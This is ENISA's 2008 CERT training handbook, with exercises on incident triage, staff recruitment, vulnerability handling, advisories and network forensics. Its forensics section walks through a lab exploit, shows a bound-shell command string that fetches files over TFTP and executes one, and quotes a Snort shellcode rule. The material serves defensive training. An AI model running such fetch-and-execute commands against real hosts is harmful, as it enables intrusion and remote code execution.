CERT Exercises

Toolset

www.enisa.europa.eu

Legal notice
Notice must be taken that this publication represents the views and interpretations of the authors and editors, unless it is stated otherwise. This publication should not be construed to be an action of ENISA or the ENISA bodies unless adopted pursuant to the ENISA Regulation (EC) No 460/2004. This publication does not necessarily represent state-of theart and it might be updated from time to time. Third party sources are quoted as appropriate. ENISA is not responsible for the content of the external sources including external web sites referenced in this publication. This publication is intended for educational and information purposes only. Neither ENISA nor any person acting on its behalf is responsible for the use that might be made of the information contained in this publication. All rights reserved. No part of this publication may be reproduced, stored in a retrieval system or transmitted in any form or by any means, electronic mechanical, photocopying, recording, or otherwise without the prior written permission of ENISA, or as expressly permitted by Law or under terms agreed with the appropriate rights organisations. Source must be acknowledged at all times. Enquiries for reproduction can be sent to the contact address quoted in this publication.

European Network and information Security Agency (ENISA), 2008

Acknowledgements
ENISA wants to thank all institutions and persons who contributed to this document. A special Thank You goes to the following contributors: Anna Felkner, Tomasz Grudziecki, Przemyslaw Jaroszewski, Piotr Kijewski, Miroslaw Maj, Marcin Mielniczek, Elzbieta Nowicka, Cezary Rzewuski, Krzysztof Silicki, Rafal Tarlowski from NASK/CERT Polska, who produced the first version of this document as consultants The countless people who reviewed this document

CERT Handbook

Table of contents
Exercise 1: Triage and Basic Incident Handling Exercise 2: Incident Handling Procedure Testing Exercise 3: Recruitment of CERT Staff Exercise 4: Developing CERT Infrastructure Exercise 5: Vulnerability Handling Exercise 6: Writing Security Advisories Exercise 7: Network Forensics Exercise 8: Establishing External Contacts Exercise 9: Large-scale Incident Handling Exercise 10: Automation in Incident Handling Exercise 11: Incident Handling in Live Role Playing Exercise 12: Cooperation with Law Enforcement Agencies 3 10 13 18 20 22 26 44 48 53 56 57

CERT Handbook

Exercise 1
Triage and Basic Incident Handling
WHAT WILL YOU LEARN?
This exercise will give you some practice in triage the initial incident handling phase, covering: verification of the report (did the incident actually occur?); interpretation (what actually happened?); determination of the scope of incident (what are the actual and possible consequences for your constituency and others?); classification; and prioritisation (based on the previous factors). After finishing the exercise you should understand what to focus on during initial analysis, how different factors may affect priorities, and how to communicate with reporters as well as third parties.

EXERCISE TASK
You are an incident response investigator working for Utopia CERT. This team is part of a research and academic network in Utopia a decent ISP serving universities and high schools. As the oldest and most recognised IRT in Utopia, your team is quite often approached about all security incidents happening in your country. You maintain good relationships with other providers and have secure and effective ways of sharing information with them. You start your work at 8 am with 9 reports in your mailbox. Read through them and try to understand what really happened and what are the reporters expectations. How are you going to handle them? Whom will you contact and what information will you share? For each report, assign ONE type from your classification scheme and give a priority of high, medium or low, determining the order in which you would handle the incidents. Make sure you are ready to explain your decisions and keep in mind that you are the decision-maker here there is no single correct answer. Unless instructed otherwise by the trainer, launch the Icedove mail client from the LiveDVD. You will find the incident reports in the Inbox. The reports are taken from real life. They were anonymised according to the following rules: 10/8 are networks located in Utopia; 10.187/16 are networks of Utopia NREN; and .ut is Utopias top-level domain. The classification scheme used in Utopia CERT1:

CERT Handbook

The classification scheme used in Utopia CERT1: Incident Class (mandatory input field) Incident Type (optional but desired input field) Description / Examples

Spam Abusive Content Harassment Child/Sexual/Violence/... Virus Worm Malicious Code Trojan Spyware Dialler

Unsolicited bulk e-mail, which means that the recipient has not granted verifiable permission for the message to be sent and that the message is sent as part of a larger collection of messages, all having an identical content. Discrediting, or discrimination against, somebody (ie, cyberstalking) Child pornography, glorification of violence, ...

Software that is intentionally included or inserted in a system for a harmful purpose. A user interaction is normally necessary to activate the code.

Scanning Information Gathering

Attacks that send requests to a system to discover weak points. This includes also some kinds of testing processes to gather information about hosts, services and accounts. Examples: fingerd, DNS querying, ICMP, SMTP (EXPN, RCPT, ). Observing and recording network traffic (wiretapping). Gathering information from a human being in a non-technical way (eg, lies, tricks, bribes, or threats). An attempt to compromise a system or to disrupt any service by exploiting vulnerabilities with a standardised identifier such as a CVE name (eg, buffer overflow, backdoors, cross side scripting, etc). Multiple login attempts (Guessing or cracking passwords, brute force). Multiple login attempts (Guessing or cracking passwords, brute force). An attempt using an unknown exploit.

Sniffing

Social Engineering

Exploiting known Vulnerabilities

Intrusion Attempts

Login Attempts Login Attempts New Attack Signature

1:This classification was developed during the eCSIRT.net project on CERT cooperation and common statistics. More information can be found at http://www.ecsirt.net/cec/service/documents/wp4-clearinghouse-policyv12.html#HEAD6

CERT Handbook

Privileged Account Compromise Intrusions Unprivileged Account Compromise Application Compromise DoS Availability DDoS Sabotage Unauthorised access to information Information Security Unauthorised modification of information Unauthorised use of resources

A successful compromise of a system or application (service). This could have been caused remotely by a known or a new vulnerability, but also by an unauthorised local access. In this kind of an attack, a system is bombarded with so many packets that the operations are delayed or the system crashes. Examples of a remote DoS are SYS-a, PING-flooding or E-mail bombing (DDoS: TFN, Trinity, etc). However, availability can also be affected by local actions (eg, destruction, disruption of power supply, etc). Besides the local abuse of data and systems, information security can be endangered by a successful account or application compromise. Furthermore, attacks that intercept and access information during transmission (wiretapping, spoofing or hijacking) are possible. Using resources for unauthorised purposes, including profit-making ventures (eg, the use of e-mail to participate in illegal chain letters for profit or pyramid schemes). Selling or installing copies of unlicensed commercial software or other copyright protected materials (Warez). Type of attacks in which one entity illegitimately assumes the identity of another in order to benefit from it. If the number of incidents in this category increases, it is an indication that the classification scheme needs to be revised.

Fraud

Copyright

Masquerade

Other

All incidents which don't fit in one of the given categories should be put into this class.

CERT Handbook

Complete the table below to assign an appropriate classification and priority to each of the reports. The priority should be a number between 1 and 3: 1 top priority 2 normal priority 3 low priority # Report Subject 1 (from: UKSUtopia Inspections) Classification Priority Suggested Actions

2 Abuse: 10.187.137.4

3 [SpamCop (http://www. company.ut/) id:3091085 703] 3-4 June Workshops for Managers

4 [CERTPT #56817] Unauthorised access attempt registered

CERT Handbook

5 Incident 10.187.21.203

6 [SpamCop (http://www. bigoil.ut/cgi-bin/internet.exe/ portal/ep/home.do?tabId=0) id:3120641650]----BIGOIL CO. Search (Immediate Part-Time JOB for

7 Incident 10.187.108.39

8 Bank Phish Site [211889] Please Reply

9 [MBL# 89603] Malware Block List Alert

CERT Handbook

Exercise 1
Triage and Basic Incident Handling
WHAT WILL YOU LEARN?
In this exercise you will learn how to build your own incident handling procedure how to identify the most important players in this procedure, the critical points and the most suitable means of communication. You will become familiar with the basic set of activities relating to the incident handling process. You will learn the correct sequence of activities during the incident handling process. You will gain knowledge about the most important parts of the IH procedure, those that have a critical influence on the successful process which will be provided to you. You will become familiar with all possible players in the IH process. You will learn the most effective methods for cooperation between a CSIRT and the key incident handling players.

EXERCISE TASK
Task 1 Developing incident handling procedure Using the incident handling procedure objects, form a complete incident handling procedure. Make the proper sequence of the activities, build relationships between them, and show the directions of the work flows. Additionally, extend the procedure with your proposals for activities using the blank objects. After forming a procedure, identify the activities which require communication with external parties. For each of them, indicate the recommended means of communication (eg, a normal e-mail, a phone, an encrypted e-mail, etc). Analyse your procedure. Point out the critical elements and identify the potential problems which could appear during execution of a procedure. Use Appendix 1 for this task.

CERT Handbook

Appendix 1

CERT Handbook

Task 2

Resolving critical problems in incident handling Using the incident handling procedure objects, form a complete incident handling procedure. Make the proper sequence of the activities, build relationships between them, and show the directions of the work flows. Additionally, extend the procedure with your proposals for activities using the blank objects. After forming a procedure, identify the activities which require communication with external parties. For each of them, indicate the recommended means of communication (eg, a normal e-mail, a phone, an encrypted e-mail, etc). Analyse your procedure. Point out the critical elements and identify the potential problems which could appear during execution of a procedure. Use Appendix 1 for this task.

Critical Part

Solution / Recommendation / Ideas

10

CERT Handbook

Exercise 3
Recruitment of CERT Staff
WHAT WILL YOU LEARN?
The purpose of this exercise is to improve your ability to optimally recruit staff for the CERT team. You will learn: What kind of professional experience and/or qualifications, as well as personal abilities, are essential to fulfil the main roles and responsibilities of a CERT; What kinds of questions should be asked during a job interview; and How to choose the most suitable candidates for the CERT team.

EXERCISE TASK
Task 1 Writing job advertisements for recruiting CERT staff You will be either a member of the Technicians or Researchers group. The task of your group is to complete a job advertisement template for positions in either the Incident Handling Service or the Security Project Development Team respectively (see appendix A). Be prepared to present your job advertisement proposal to others.

Task 2

Analysing and choosing candidates to be interviewed Each group will receive a collection of 6 CVs. Analyse all the CVs and try to match them with the prepared job offers. Write short opinions about all the candidates (strong and weak points, pros and cons in several aspects). Be prepared to present your opinions about all candidates and justify your choice.

Task 3

Interviews with chosen candidates Read the code of conduct developed by TF CERT. Using the CoC, your prepared job advertisement and the CVs of the chosen candidates, propose up to 20 interview questions (5 general, 5 technical, 10 others) that you would like to ask the candidates of your choice. (Use the blank template in Appendix B.) Be prepared to present your questions to others and explain which of them you find the most useful. The trainer will also propose a few questions and let you decide which of them you consider important. Decide on a set of 10 questions to be asked of a chosen candidate. After a 15 minute break, volunteers from each group will play the roles of the chosen candidates and the others will start to interview them. Every group joins all the interview sessions. After each interview, the groups individually discuss the candidates answers and share opinions.

Task 4

Final selection of the best candidates After all the interviews, prepare your own opinion about all the candidates and make your selection (with justifications). Then vote for the candidates.

CERT Handbook

11

Appendix A
Job Advertisement for IT Security Specialist (Incident Handling Service)
Main tasks: Handling network security incidents Operating the CERT early warning and alerting system for a CERT constituency Writing security advisories Writing security news Preparing CERT reports

Essential requirements (technical qualifications, knowledge and personal skills)

Additional assets

We offer

12

CERT Handbook

Job Advertisement for IT Security Specialist (Incident Handling Service)

Main tasks: Participation in projects related to the security network Carrying out research on new methods for the detection and analysis of malicious software Development of concepts for IT projects to pursue new solutions Cooperation with software engineers in the implementation of the proposed solutions Testing developed applications Writing technical documentation Development of IT security policies

Essential requirements (technical qualifications, knowledge and personal skills)

Additional assets

We offer

CERT Handbook

13

Appendix B
Job Interview Questions Form
Candidate 1 I. General issues: Candidate 2

1. 2. 3. 4. 5.

II.

Technical knowledge and qualifications:

1. 2. 3. 4. 5.

III. Personal skills: 1. 2. 3. 4. 5.

IV.

Facultative questions:

1. 2. 3. 4. 5.

14

CERT Handbook

Exercise 3
Recruitment of CERT Staff
WHAT WILL YOU LEARN?
The aim of this exercise is to provide you with an understanding of the software tools and hardware required by a CERT in order to offer a service. EXERCISE TASKS Although the roles and functions of CERTs vary, there are many common services provided by different CERTs. The trainer will give you a general introduction to common CSIRT service models. A suggested model for this exercise is presented at http://www.cert.org/csirts/services.html. You will create a concept for providing these services. The trainer will act as a mentor, asking leading questions to help you find your way. An example service Incident Handling Incident Analysis will be completed at the beginning, with the trainer playing a more important role to give you a better understanding how you should proceed. Handouts with network diagrams will be provided to make your task easier.

EXERCISE TASK
Task 1 Incident Handling Incident Analysis Attached below you will find diagrams showing the infrastructure of a new CERT. This CERT is expected to provide an incident handling service. Your task is to answer the questions of the trainer regarding the infrastructure needed to provide the service. Is the architecture, as presented, sufficient? Do you have ideas on what software will be required? Any suggestions for improvements?

Task 2

Further 3-5 services Together with the trainer, choose 3-5 services as described in the CERT document. Modify and expand the existing infrastructure shown in the diagrams below in order to achieve your desired goal of providing these services. Enumerate the software you would use.

CERT Handbook

15

16

CERT Handbook

Exercise 5
Vulnerability Handling
WHAT WILL YOU LEARN?
The objective of this exercise is to give you a practical overview of the vulnerability handling process and how vulnerabilities reported to a CERT team should be handled. You will learn: What the main responsibilities of a CERT team involved in a vulnerability case are; How to design a vulnerability disclosure policy suitable for your CERT; and How to deal with difficult situations that may arise through your role as a coordinator.

EXERCISE TASK
Task 1 Responsibilities of a CERT team in a vulnerability case You will hear a description of a typical vulnerability case. Your task is to identify the CERTs main responsibilities and activities in handling the reported vulnerability. Think about the responsibilities which the CERT has as coordinator towards the vendor and the reporter of the vulnerability. Name the actions that CERT has to take to resolve the case. Keep in mind that the CERT team always acts as an independent coordination centre.

Task 2

Vulnerability disclosure The vulnerability handling process always involves the problem of disclosing information about the vulnerability. What is your opinion on vulnerability disclosure? Do you think this information should be kept secret or publicly disclosed? Think about the advantages and disadvantages of disclosing a vulnerability.

Task 3

Designing a vulnerability disclosure policy Now you have some ideas as to what responsible vulnerability disclosure should be. What main aspects should be addressed in a vulnerability disclosure policy? Develop a general policy for your CERT.

Task 4

Role-playing game: Introducing CERT coordination in a vulnerability case The trainer will tell you two stories. One will be a true story from the past, based on the Michael Lynn case: http://en.wikipedia.org/wiki/Michael_Lynn. The second one is a scenario which will be used in the game.

CERT Handbook

17

The rules of the role-playing game: The trainer is the game leader. A game leader has an absolute power to shape, modify and adjust a game scenario; ie: he can stop an action and introduce new factors and new conditions; he can rewind an action to change factors or conditions or actions already performed; and he can accelerate an action to avoid valueless activities. All students must fit their actions to what the trainer decides. Students can communicate during a role-playing game only as players, not as students (eg, they are not allowed to comment on an action, unless the trainer changes it). A main purpose of the trainer is to achieve the goals of the exercise. Task 5 Identification of vulnerability handling phases During this post role-playing activity, students are given the task of identifying as many activities and processes as possible. This is achieved by a kind of brainstorming session with the trainer as the group leader.

Task 6

Coordination of a single and multiple vendor case During the game in the previous task, you dealt with a single vendor case. It may happen, however, that a reported vulnerability affects more than one vendor. Think about the possible complications in a multiple vendor case. The trainer will give you some tips on the aspects you should consider especially carefully.

18

CERT Handbook

Exercise 6
Writing Security Advisories
WHAT WILL YOU LEARN?
During this exercise you will learn how to write a good security advisory publication for your constituency. In particular, you will: learn how to create your own template for security advisories; learn how to judge whether an advisory is well written and can be referenced as a source; gain an understanding of the specifics of your constituency and its influence on the content of security advisories; and learn the basics of CVSS.

EXERCISE TASK
PART 1 KEY POINTS IN AN ADVISORY The trainer will give you a brief introduction about security advisories. Listen carefully, as you will have to participate actively. Task 1 Identifying key points in an advisory You will be asked what you think are the key points required in an advisory. List as many points as you can. The trainer will present a real advisory. What points do you think were missing?

Task 2

Example step-by-step advisory comparison Listen to the trainer as he leads you through a comparison of two different advisories. Which structure of the advisories did you like better? What were the strengths and weaknesses of both advisories?

Task 3

Advisory comparison Perform an analysis on your own, comparing a much larger set of advisories covering the same topic. This is a DNS vulnerability advisory CVE-2008-1447. Attached below, you will find a checklist which will aid you. Fill it in with comments. These comments could include ratings, such as POOR or GOOD, PRESENT or ABSENT, or more elaborate statements if necessary The trainer can give it to you in the form of a printout you can use. All the advisories being discussed and compared are on the CERT Exercises LiveDVD or can be found on the Internet.

The advisories are listed below US-CERT (Technical Cyber Security Alert): http://www.us-cert.gov/cas/techalerts/TA08-190B.html US-CERT (Vulnerability Note): http://www.kb.cert.org/vuls/id/800113 NVD NIST: http://nvd.nist.gov/nvd.cfm?cvename=CVE-2008-1447 SecurityFocus: http://www.securityfocus.com/bid/30131 Secunia: http://secunia.com/advisories/cve_reference/CVE-2008-1447/ Microsoft: http://www.microsoft.com/technet/security/Bulletin/MS08-037.mspx ISC (BIND): http://www.isc.org/sw/bind/bind-security.php

DNS CVE-2008-1447 Checklist:

Document

US-CERT (TCSA)

US-CERT (VN)

NVD NIST

SecurityFocus

Secunia

Microsoft

ISC

CERT Handbook

Problem name and ID

Threat severity and Impact

Affected systems

Description

Possible remedies (solutions,

workarounds, patch locations)

References

Revision notes

Other fields: digital signatures,

contact information?

How informative?

Structure of the documents?

Additional comments

19

20

CERT Handbook

PART 2 CVSS TRAINING This part of the exercise is devoted to learning the basics of CVSS.

Task 1

CVSS basics and tools Listen carefully to the introduction to CVSS by the trainer. Click through the available CVSS calculators you will need to use them for the next tasks.

Task 2

CVSS vectors and metrics of the DNS CVE-2008-1447 vulnerability Together with the trainer, you will calculate CVSS scores for the DNS CVE-2008-1447 vulnerability.

Task 3

Calculating CVSS scores by yourself In this task, students will be split into smaller groups. Your group should create a short description of an organisation and its network. Next, pick a security vulnerability found in an advisory and calculate its CVSS scores. The trainer may introduce different variants of this exercise.

CERT Handbook

21

Exercise 7
Network Forensics
WHAT WILL YOU LEARN?
The network forensics exercise is aimed at introducing you to the post-mortem analysis of pcap file dumps and Cisco netflow logs. In particular you will: Learn Learn Learn Learn how worms and botnets infect machines; about client side attacks and fast flux networks; what DDoS attacks look like from an ISPs viewpoint; and about the tools used for analysing these attacks after the fact.

EXERCISE TASK
The exercise is split into three different parts, each composed of two scenarios (tasks). At the start of the exercise, you will be given a brief introduction to the field of network forensics. The trainer will then introduce you to the world of buffer overflows, which will help you analyse the pcap traces. The exercise list is as follows: pcap trace analysis server side attack; pcap trace analysis client side attack; netflow analysis. PART 1 PCAP TRACE ANALYSIS SERVER SIDE ATTACK The exercise is divided into two separate scenarios: a demonstration performed by the teacher as the introductory scenario; and network forensics skills training with the logs of a real attack.

Task 1

Introductory scenario fake web server vulnerability exploitation step-bystep In this scenario, you will be lead through a step-by-step explanation of the exploitation and infection process performed against a server application.

This demonstration covers the whole process of the exploitation of a server side service. A specially prepared vulnerable HTTP server was implemented. The server obeys the rules of the HTTP protocol when it receives GET requests. However, whenever a POST request is received, a separate thread will be launched to bind a shell to port 12345. Assuming that the POST request will inject proper shellcode, this fake exploitation does not differ from a real one from the standpoint of the network. Shellcode that binds a command shell to 12345 port was obtained from the Metasploit framework (http://www.metasploit.org). During the exploitation process, you should use the wireshark network analyser to capture the traffic. Wireshark will capture all the packets that were received and transmitted on a particular network interface. The next step in the exercise is a discussion concerning the consequent stages of the attack as seen through wireshark.

22

CERT Handbook

Tools necessary for carrying out this exercise The following are the tools necessary for conducting this exercise. These tools can be found on the LiveDVD (usr/share/exercises/07_NF/adds/): http server; exploit (/usr/share/exercises/07_NF/adds/exploit); wireshark; tftp server; and tftp client.

Before running the vulnerable HTTP server, make sure that the Apache server has been stopped. (Remember to restart it again to carry out other exercises later on!): sudo /etc/init.d/apache2 stop To run the server type: sudo /etc/init.d/http_server The exploits can be found in the exercise directory. The exercise can be demonstrated using one machine only or on a set of two machines. In the case of a single machine presentation, the attacking machine will have the same IP address as the victim. As this situation is unlikely in a real scenario, it is recommended the two machines be used for this exercise if the is at all possible. The two machine scenario is illustrated below:

Both computers should be booted with the Exercise LiveDVD. To configure the interfaces appropriately, run the scripts provided on the Exercise LiveDVD: interface_victim and interface_attacker. If the computer has multiple interfaces, provide the name of the one to be configured as a parameter to the script: interface_victim eth1 If no parameters are provided, the scripts will configure the first interface. Further descriptions of the exercise assume that only one machine was used during the exercise, which means that victims and attackers IP address is 127.0.0.1. In the case of a two-machine presentation, in all the following commands the attackers address should be replaced with 192.168.0.2 and the victims with 192.168.0.1. The pcap file attached to this exercise on the LiveDVD (/usr/share/exercises/07_NF/adds/) contains logs of attacks launched from an IP address which is different than the victims.

CERT Handbook

23

Step-by-step demonstration Before launching the exploit, a benign request to the HTTP server can be sent. Run wireshark and start live capture on the loopback interface. Now, run the browser and go to www.example1.com site. This example site is served locally. To increase the amount of benign requests, perform some interaction with this simple site. The exploit will result in the copying of some files from the attacker to the victim machine. Files will be copied to the home directory of the user who ran the HTTP server. As the HTTP server was run with root privileges, the files will be copied to the /root/ directory and all actions performed by the compromised server will use the privileges of the super-user. This example shows why services should be run with only a minimal set of privileges! Before running the exploit, check the list of files in the home directory of the root user. In the console, type: ls ~. Now, run the exploit. There are two options to be given: the victims IP address and the TFTP server IP address. Both addresses are the same as the local loopback interface: 127.0.0.1. Change the working directory to the exercises directory and type ./exploit h127.0.0.1 t127.0.0.1 . The consecutive actions that the exploit undertakes will be reported to the console: [*] [*] [*] [*] [*] Connecting to vulnerable HTTP Server...done Sending buffer overflow data...done Attempting to connect to shell: 127.0.0.1: 12345...succeeded Sending commands to compromised server...done Bye!

The packets which caused this successful exploitation were captured by wireshark and can now be investigated. To single out the packets which were sent to the HTTP server, apply the following filter:

The first HTTP request was performed by the web browser. The filter allows the tracking all the packets that were sent: Source 127.0.0.1 127.0.0. 127.0.0. 127.0.0. 127.0.0. 127.0.0.1 127.0.0. 127.0.0. 127.0.0. 127.0.0.1 127.0.0. 127.0.0.1 127.0.0.1 Destination 127.0.0.1 127.0.0.1 127.0.0.1 127.0.0.1 127.0.0.1 127.0.0. 127.0.0.1 127.0.0.1 127.0.0.1 127.0.0.1 127.0.0.1 127.0.0.1 127.0.0.1 Protocol TCP TCP TCP HTTP TCP HTTP TCP TCP TCP TCP TCP TCP TCP Info 55177 > www [SYN] www > 55177 [SYN, ACK] 55177 > www [ACK] GET / HTTP/1.1 www > 55177 [ACK] Continuation or non-HTTP traffic 55177 > www [ACK] www > 55177 [FIN, ACK] 55177 > www [FIN, ACK] www > 55177 [ACK] 55178 > www [SYN] www > 55178 [SYN, ACK] 55178 > www [ACK]

24

CERT Handbook

127.0.0.1 127.0.0.1 127.0.0.1 127.0.0.1 127.0.0.1 127.0.0.1 127.0.0.1

127.0.0.1 127.0.0.1 127.0.0.1 127.0.0.1 127.0.0.1 127.0.0.1 127.0.0.1

HTTP TCP HTTP TCP TCP TCP TCP

GET /favicon.ico HTTP/1.1 www > 55178 [ACK] Continuation or non-HTTP traffic 55178 > www [ACK] www > 55178 [FIN, ACK] 55178 > www [FIN, ACK] www > 55178 [ACK]

There are two HTTP requests one for the index.html page and one for the favicon.ico file. A malicious POST request was sent by the exploit: 127.0.0.1 127.0.0.1 127.0.0.1 127.0.0.1 127.0.0.1 127.0.0.1 127.0.0.1 127.0.0.1 127.0.0.1 127.0.0.1 127.0.0.1 127.0.0.1 127.0.0.1 127.0.0.1 127.0.0.1 127.0.0.1 127.0.0.1 127.0.0.1 TCP TCP TCP HTTP TCP HTTP TCP TCP TCP 54274 > www [SYN] www > 54274 [SYN, ACK] 54274 > www [ACK] POST /inventory-check.cgi HTTP/1.1 www > 54274 [ACK] Continuation or non-HTTP traffic www > 54274 [ACK] 54274 > www [FIN, ACK] www > 54274 [ACK]

The fourth packet carries the POST request. The request consists of two packets and the body of the HTTP request carries the actual exploit shellcode, which is to be executed. Shellcode is basically a long string of bytes of value 90 and then almost 90 bytes of assembler instructions (the first four bytes of the shellcode is the address which overwrites the function return address). Due to the execution of the shellcode, port 12345 is opened with the system shell bound to it. This is the end of interaction with the HTTP server. As we know that the exploit opens port 12345, the traffic sent to this port can be investigated. To do this, a proper filter, which will single out all the traffic targeted or coming from port 12345, should be applied:

The filter results are as follows: 127.0.0.1 127.0.0.1 127.0.0.1 127.0.0.1 127.0.0.1 127.0.0.1 127.0.0.1 127.0.0.1 127.0.0.1 127.0.0.1 127.0.0.1 127.0.0.1 TCP TCP TCP TCP TCP TCP 57620 12345 57620 57620 12345 57620 > > > > > > 12345 57620 12345 12345 57620 12345 [SYN] [SYN, ACK] [ACK] [PSH, ACK] [ACK] [FIN, ACK]

From the packets payload we can see that, after a TCP connection had been initiated, the following string of commands was sent to the shell: cd ~; atftp --get --remote-file exploit2 192.168.0.121; atftp --get --remote-file hello 192.168.0.121; chmod +x hello; ./hello We have already discussed the meaning of these commands in the previous paragraphs. In the next step, the exploit and xhttp files are downloaded onto victims machine. To see the TFTP protocol packets, apply the following filter: tftp

CERT Handbook

25

To find the names of the files which were downloaded, it is more convenient to apply a filter that shows only the first packet of each TFTP transmission: tftp.source_file Now, list the contents of the roots home directory. The downloaded files, xhttp and exploit, should be there. One of the commands which were executed launched xhttp. Check if this program is still running: ps aux | grep xhttp The output should show that a process named xhttp is running. The last point in this presentation of the attack is to check whether an intrusion detection system noticed anything suspicious. The Exercise LiveDVD contains Snort IDS. Alerts are reported in file: /var/log/snort/alert To check for the latest alerts, type command: cat /var/log/snort/alert You should notice one alert: [**] [1:1000002:0] SHELLCODE x86 NOOP [**] [Priority: 0] 06/14-16:35:30.367355 127.0.0.1:36944 -> 127.0.0.1:80 TCP TTL:64 TOS:0x0 ID:51437 IpLen:20 DgmLen:672 DF ***AP**F Seq: 0x2981E148 Ack: 0x6A7EC3DF Win: 0x2E TCP Options (3) => NOP NOP TS: 2107818 2038899

TcpLen: 32

The alert was triggered by the following Snort rule: alert ip any $SHELLCODE_PORTS -> $HOME_NET any (msg: SHELLCODE x86 NOOP; contentL:|90 90 90 90 90 90 90 90 90 90 90 90 90 90|; depth:128; reference:arachnids,181; classtype:shellcode-detect; sid:648; rev:7;)

26

CERT Handbook

This rule alerts whenever a monitored network receives a packet containing at least 14 consecutive bytes of value 90. The event is triggered due to the fact that such a string is often an indication of a shellcode occurrence. The rule comes from a standard set of Snort rules. Task 2 Dabber scenario The second scenario of this exercise involves analysing the workings of the Dabber worm. To perform this exercise, you need to load the Dabber pcap file (/usr/share/exercises/07_NF/adds/). Analyse this pcap trace using the knowledge gained in the previous scenario and explain what happened, enumerating the stages of the attack, what ports were involved in the attack, and how the exploit worked. PART 2 PCAP TRACE ANALYSIS CLIENT SIDE ATTACK The next two scenarios are intended to be carried out by you with minimal assistance from the trainer. Task 1 Drive-by download without fast flux Using the tools and knowledge acquired in the previous exercises, analyse the pcap traces found on disk and answer the following questions in detail: What happened (step-by-step)? Has the host been infected? If yes, what type of malware is it? How is the attack being carried out? What domains and IPs are involved in the attack? How could we mitigate the attack?

Task 2

Drive-by download with fast flux pcap traces found on disk and answer the following questions in detail: What happened (step-by-step)? Has the host been infected? If yes, what type of malware is it? How is the attack being carried out? What domains and IPs are involved in the attack? How could we mitigate the attack?

PART 3 PCAP TRACE ANALYSIS CLIENT SIDE ATTACK The aim of the netflow scenarios is to familiarise you with the concept of netflow and introduce you to tools that facilitate flow interpretation. Even though netflow does not allow for the examination of packet content, it is a useful mechanism for network forensics as it provides a unique view of what activity was seen at the router level. Netflow can be used to discover and examine DDoS attacks, worm infections and scanning activity, to verify incident reports and obtain hints as to how a host was compromised, and to monitor its subsequent behaviour, etc. At the start of this exercise, the trainer will give you a general introduction to netflow. You will then get to carry out a step-by-step analysis with the trainer of an example DDoS attack.

CERT Handbook

27

Task 1

DDoS analysis (step-by-step) A netflow collector installation is setup with a profile for monitoring a specific IP space. The student plays the role of an administrator working for an ISP, which has received a report about a DDoS being carried out against a customer. You are expected to: identify when the attack began; identify what is being attacked; identify what IPs are involved in carrying out the attack; identify the way the attack is being carried out; identify where the attack came from; and suggest ways of mitigating the attack at the ISP level.

Using nfdump/NFSen you can perform the analysis by either utilising the command line interface (more suitable for bulk processing) or the graphic interface. Examples of using both interfaces are presented. Make sure that the Apache server is running. Run nfsen_start script available on your LiveDVD Desktop. (You can click on it.) Q 1 When did the attack begin? GUI: Open the web-browser and go to http://10.20.31.210/nfsen/nfsen.php. For a better view you can go to the Graphs tab. You can see a huge increase in file size near Feb 24 2007 04:00:

CLI: Go to the directory /data/nfsen/profiles-data/live/upstream and list netflow files (nfcapd.*); use ls l (or the more human-readable: ls lh). You can see that starting from 200702240400 the files are suddenly larger than before (before about 100-200kb; from 200702240400 more than 10MB). Near 200702241050 the files are getting smaller, but are still unusually large (about 6MB). From about 200702241605, the size of the files seems to drop to normal levels. So, the attack began around 04:00 on the 24th February 2007. Q2 What is being attacked?

GUI: In order to identify what is being attacked, it is useful to analyse the details of the graphs and the TOP N statistics, generated both after and before the attack. Graphs and TOP N statistics generated before the attack started can be treated as a baseline for comparison with later analysis.

28

CERT Handbook

Go to the Details tab (1). Pick Time Window from the list in Select field up (2). On the graph, select an area (3) that looks like normal activity before the attack started. This is about from 20:00 23 Feb 2007 to 03:50 24 Feb 2007. Look at the statistics (4) for this timeslot. (You should also use the Sum radio button.) This will tell you that most of the activity was TCP.

Next, select an area on the graph that looks like the attack (from 04:00 24 Feb 2007 to about 16:05 24 Feb 2007). The statistics say that most of the activity (flows, packets and traffic) was UDP.

Let us find out what is being attacked. Use netflow processing (reducing the time window, which in this example was on Feb 24 from 04:00 to 09:00, to accelerate this process) to find the top 10 statistics about the destination IP ordered by flows, packets, bytes or bits per second (bps). On the screen below you can see the statistics generated by the packets.

CERT Handbook

29

You can also use the stats of the flow records with dstIP aggregated:

195.88.49.121 is probably the attack target.

30

CERT Handbook

Now you have the potential target of the attack and from the earlier analysis you know that the attack was performed via UDP traffic. If you have any doubt about UDP traffic, use netflow processing: top 10 with protocol aggregation and dst host 195.88.49.121 filter. As you can see, the UDP activity (packets, bytes, and flows) is huge when compared with other protocols.

Next you should indentify what the role of the attacked server is. Change the time window (area in the graph) to some time before the attack and generate statistics of flow records (ordered by flows) with the dst host 195.88.49.121 filter.

CERT Handbook

31

As you can see, almost all traffic to this server was 80/TCP, so this is probably a WWW server. The goal of the DDoS may be to disable the site. Conclusion: The attack was DoS or DDoS performed via UDP traffic and was targeted on a WWW server (195.88.49.121). You can perform a similar analysis with the command line interface. CLI: In order to identify what is being attacked, it is useful to start with general TOP N traffic statistics generated both after and before the attack started. TOP N statistics generated before the attack started can be treated as a baseline for comparison with later statistics. Go to the /data/nfsen/profiles-data/live/upstream directory. For example, the following general TOP N queries can be performed: Before the attack: nfdump -R nfcapd.200702232000:nfcapd.200702240350 -s record/flows/bytes/packets/bps After the attack started (reducing the time window to accelerate this process, which we do in this example by using nfcapd.200702240400 to nfcapd.200702240900): nfdump -R nfcapd.200702240400:nfcapd.200702240900 -s record/flows/bytes/packets/bps By comparing the two queries, we can see that a lot of TOP N UDP traffic to many ports at 195.88.49.121 appeared suddenly. UDP traffic to such ports is anomalous, especially coming from a single IP. Q 3 What IPs are involved in carrying out the attack? GUI: A quick way of checking what IPs may be involved in an attack against an IP is to generate statistics filtered towards that specific destination IP. In this case we can filter for TOP N attacking source IPs based on flows against 195.88.49.121. Use netflow processing. Select the time window from 2007-02-24-04-00 to 2007-02-24-09-00. Generate the TOP 20 statistics about the source IP, using the dst host 195.88.49.121 filter.

32

CERT Handbook

